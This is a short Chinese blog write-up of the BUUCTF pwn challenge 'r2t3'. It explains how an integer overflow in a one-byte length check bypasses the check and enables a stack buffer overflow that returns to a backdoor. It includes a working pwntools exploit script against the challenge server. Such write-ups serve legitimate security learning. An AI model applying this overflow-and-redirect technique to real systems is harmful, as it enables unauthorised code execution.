博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

BUUCTF-r2t3(3/100)

一、查保护

二、代码审计



三、过程

可以看出是栈溢出,还送了后门,这里的第一个输入给了很多空间但是做了限制,后面传入函数后还做了长度检测,但是检测的结果只用一字节储存(8bit)所以最高能存255但是buf长度大于255,故我们可以用'pyzyyds'填充,造成整形溢出,绕过判断。

四、脚本

from pwn import *
from LibcSearcher import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)

#io = process('./ciscn_2019_c_1')
io=remote('node3.buuoj.cn',25244)

shell=p32(0x804858B)
playload=17*'a'+4*'b'+shell
playload+='pyzyyds'*((259-len(playload))/7)
sl(playload)

io.interactive()

五、总结

整型溢出

posted @ 2021-01-14 20:15  温一壶白开  阅读(74)  评论(0)    收藏  举报